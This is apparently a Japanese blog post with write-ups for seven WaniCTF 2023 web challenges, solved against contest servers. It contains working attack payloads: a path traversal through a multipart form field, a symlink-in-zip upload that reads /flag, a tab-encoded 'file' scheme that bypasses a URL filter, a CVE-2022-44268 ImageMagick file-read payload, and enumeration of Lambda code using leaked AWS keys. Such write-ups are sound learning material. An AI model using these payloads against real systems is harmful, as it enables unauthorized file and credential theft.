よーでんのブログ

One for All,All for わんわんお!

WaniCTF 2023

WaniCTF 2023 - Web writeup

WaniCTF 2023 に参加していました。
面白い問題ばかりでとても楽しかったです。

ということで、web 7問のwriteupです。

IndexdDB (Beginner: 608 Solves)

このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。

「まぁBeginnerだね」っていいながらソース開いたらflagなくて焦った。

IndexdDB - viewsource

URLが 1ndex.html なのが気になる。
少しいじってみるとindex.html にアクセスすると1ndex.htmlにリダイレクトされることがわかる。

「リダイレクト前のレスポンスにあるのかな」と予想してcurlしてみたらビンゴ。*1

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl https://indexeddb-web.wanictf.org/
...
        objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });

FLAG{y0u_c4n_u3e_db_1n_br0wser}

Extract Service 1 (Easy: 245 Solves)

ドキュメントファイルの要約サービスをリリースしました!配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね...? どんなHTTPリクエストが送信されるのか見てみよう!

アクセスするとファイルとファイルタイプを指定してアップロードできる画面が。

Extract 1 - TOP

配布ファイルの中にsampleがあるのはかなり嬉しい。
試しに sample.docx をアップロードしてみる。ファイルタイプは .docx のまま。

POST / HTTP/1.1
...

-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="file"; filename="sample.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

PK...
-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="target"

word/document.xml
-----------------------------39327306635975792793622618633--

リクエストをのぞいてみると、file でdocxのファイルと targetword/document.xml が送信されてることがわかる。

ソースを読んでいくと、targetword/document.xmlextractTarget という変数に入れられて ExtractContent という関数に渡されるらしい。

func ExtractContent(baseDir, extractTarget string) (string, error) {
    raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
    if err != nil {
        return "", err
    }

    removeXmlTag := regexp.MustCompile("<.*?>")
    resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
    removeNewLine := regexp.MustCompile(`\r?\n`)
    resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
    return resultNewLineRemoved, nil
}

とくにバリデーションがないので、ディレクトリトラバーサルができそうだ。

POST / HTTP/1.1
...

-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="file"; filename="sample.docx"
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

PK...
-----------------------------39327306635975792793622618633
Content-Disposition: form-data; name="target"

../../flag
-----------------------------39327306635975792793622618633--

Extract 1 - flag

FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}

64bps (Easy: 182 Solves)

dd if=/dev/random of=2gb.txt bs=1M count=2048

cat flag.txt >> 2gb.txt

rm flag.txt

どうやらめっちゃデカいファイルの最後にflagがあるらしい。
さらに、配布ファイルを見てみると 8 bytes/s とかいう制限がかかっている。

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    keepalive_timeout  65;
    gzip               off;
    limit_rate         8; # 8 bytes/s = 64 bps

これのダウンロードを待つのは現実的じゃないので、どうにかしてflagの部分だけに絞ってダウンロードしたい。
Rangeヘッダーが使えそうだ。

まず、全体で何byteなのかを知りたい。計算しても良いけどcurlでヘッダーだけとってくればわかる。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl -I https://64bps-web.wanictf.org/2gb.txt
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 06 May 2023 06:41:27 GMT
Content-Type: text/plain
Content-Length: 2147483697
Connection: keep-alive
Last-Modified: Mon, 01 May 2023 04:40:51 GMT
ETag: "644f42d3-80000031"
Accept-Ranges: bytes

2147483697byteのうち何byteがflagかがわからない。
最初「30byteくらいあればいいだろ」って言ってたら足りなくて、「じゃあ50byte!」と何回かやっていたらflagが手に入った。(計算した方が早かったかも)

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl https://64bps-web.wanictf.org/2gb.txt -i -H "Range: bytes=2147483645-2147483697"
HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 04 May 2023 06:30:43 GMT
Content-Type: text/plain
Content-Length: 52
Connection: keep-alive
Last-Modified: Mon, 01 May 2023 04:40:51 GMT
ETag: "644f42d3-80000031"
Content-Range: bytes 2147483645-2147483696/2147483697

���FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}

Extract Service 2 (Normal: 103 Sovles)

Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。

サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね...?

Extract Service 1でやったディレクトリトラバーサルが封じられている。

┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Documents/work/ctf/WaniCTF2023]
└─$ diff web-extract1/main.go web-extract2/main.go 
38,39c38,41
<               extractTarget := c.PostForm("target")
<               if extractTarget == "" {
---
>               // patched
>               extractTarget := ""
>               targetParam := c.PostForm("target")
>               if targetParam == "" {
41a44,55
>                       })
>                       return
>               }
>               if targetParam == "docx" {
>                       extractTarget = "word/document.xml"
>               } else if targetParam == "xlsx" {
>                       extractTarget = "xl/sharedStrings.xml"
>               } else if targetParam == "pptx" {
>                       extractTarget = "ppt/slides/slide1.xml"
>               } else {
>                       c.HTML(http.StatusOK, "index.html", gin.H{
>          

リクエストで送信される target の値をみると、種類のみを送るようになっている。

-----------------------------2837738034924305695954927396
Content-Disposition: form-data; name="target"

docx
-----------------------------2837738034924305695954927396--

しばらく考えて「 word/document.xml -> /flag のようなシンボリックリンクをzipにできたら良いな」と思いついた。
「zip コマンド options link」とかで調べてリンクをたどらずに圧縮できる方法を確認。zip -y でできるみたいなのでやってみる。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ mkdir word
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ sudo vim /flag
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ cd word/
┌──(yoden㉿y0d3n-DESKTOP)-[~/word]
└─$ sudo ln -s /flag document.xml
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ zip -y test.zip word/document.xml
  adding: word/document.xml (stored 0%)

test.zipをアップロードしてみると、flagが手に入る。

Extract 2 - flag

FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}

screenshot (Hard: 91 Solves)

好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。

Hardだが、取り組み始めた時点で結構解かれていた。

URLを入力すると、スクショをとってきてくれるらしい。

screenshot - TOP

flagは /flag.txt にあることがわかる。file:///flag.txt とかしたいが、それで解けるはずもなく。

      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

ここが問題の本質部分。
http が含まれる かつ file が含まれない 文字列を渡さなければいけない。

http の方は hogehoge#http のようにすれば良いので無視できる。

file の方で良い方法あるかな~」とガチャガチャしたあと、
「URLのパース周りあの本に書いてあったはず」と「めんどうくさいWebセキュリティ」を手に取ってみたら p.31 にちょうど良い情報が。

ほとんどの実装では、スキーム名の途中にある改行文字とタブ文字も無視されます。

fi%09le のようにすれば、タブが無視されていい感じに行けそう。

url=fi%09le:///flag.txt%23http とすれば /flag.txt のスクショが手に入る。

screenshot - flag

FLAG{beware_of_parameter_type_confusion!}

certified1 (Normal: 66 Solves)

最近流行りの言語を使った安全なウェブアプリが完成しました!

この問題にはフラグが2つ存在します。ファイル/flag_Aにあるフラグをcertified1に、環境変数FLAG_Bにあるフラグをcertified2に提出してください。

certified 1

画像をアップロードしてみると、承認される。

certified 1 - Approved

これは承認欲求が満たされる。

/flag_A を読み出したい。
WebアプリケーションはRustで書かれていて、承認の画像を重ね合わせるのは ImageMagick が使われている。

ImageMagickがいかにも怪しいのでいろいろ調べていたらkurenaifさんの動画にたどり着いた。

【ImageMagick】ImageMagickであった情報漏洩の脆弱性を詳しく解説!【cve-2022-44268】【悪用厳禁】 - YouTube

CVE-2022-44268 が使えそうだ。

┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Downloads]
└─$ pngcrush -text a "profile" "/flag_A" test.png
  Recompressing IDAT chunks in test.png to pngout.png
   Total length of data found in critical chunks            =      6071
(snip)

これでできた pngout.png をアップロード。承認された画像をダウンロードして、PoCの手順に沿ってよしなにしていく

┌──(yoden㉿y0d3n-DESKTOP)-[/mnt/c/Users/yoden/Downloads]
└─$ identify -verbose e9f161a7-1b0f-41b8-b9f8-800d47093ec9.png
Image: e9f161a7-1b0f-41b8-b9f8-800d47093ec9.png
  Format: PNG (Portable Network Graphics)
  Geometry: 480x480
...
      42
464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f
793075217d0a
...
┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ py
Python 3.11.2 (main, Feb 27 2023, 01:25:14) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(bytes.fromhex("464c41477b3768655f736563306e645f663161395f31735f77343174316e395f6630725f793075217d0a"))
b'FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}\n'

FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

Lambda (Normal: 54 Solves)

以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。

URLにアクセスするとログインページ。

Lambda - TOP

配布ファイルとしてAWSAccess key ID,Secret access key,Region が提供される。
これでアクセスできる範囲からどうにかして認証情報を手に入れれば良い。

AWS CLI に不慣れすぎてかなり時間がかかってしまった。
公式のドキュメントを見ながら頑張る。

awscli.amazonaws.com

文字が多いので、必要なとこだけ切り取ってます。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda sts get-caller-identity
    "Arn": "arn:aws:iam::839865256996:user/SecretUser"

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda iam list-attached-user-policies --user-name SecretUser
        {
            "PolicyName": "WaniLambdaGetFunc",
            "PolicyArn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc"
        },

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc
    "Policy": {
        "PolicyName": "WaniLambdaGetFunc",
        "Arn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc",
        "DefaultVersionId": "v1",

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1
                    "Action": "lambda:GetFunction",
                    "Resource": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function"

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ aws --profile wani-lambda lambda get-function --function-name wani_function
        "FunctionName": "wani_function",
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/839865256996/wani_function-df5..."

S3のURLが見つかるので、アクセスしてみると zip がダウンロードできる。
回答すると dll がいくつか。 Wani_Lambda.dll が怪しげ。

ILSpy でデコンパイルしてみる。

Lambda - source

LambdaWaniwani:aflkajflalkalbnjlsrkaerl であることが判明 (flagも書いてあるね)
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}


certified2は時間内に解けなかったのですが、writeupを読んで「1を解いてる時点でinputの挙動おかしいのに気づいてたのにどうして・・・」と唸っていました。

*1:問題文読んでないのがバレる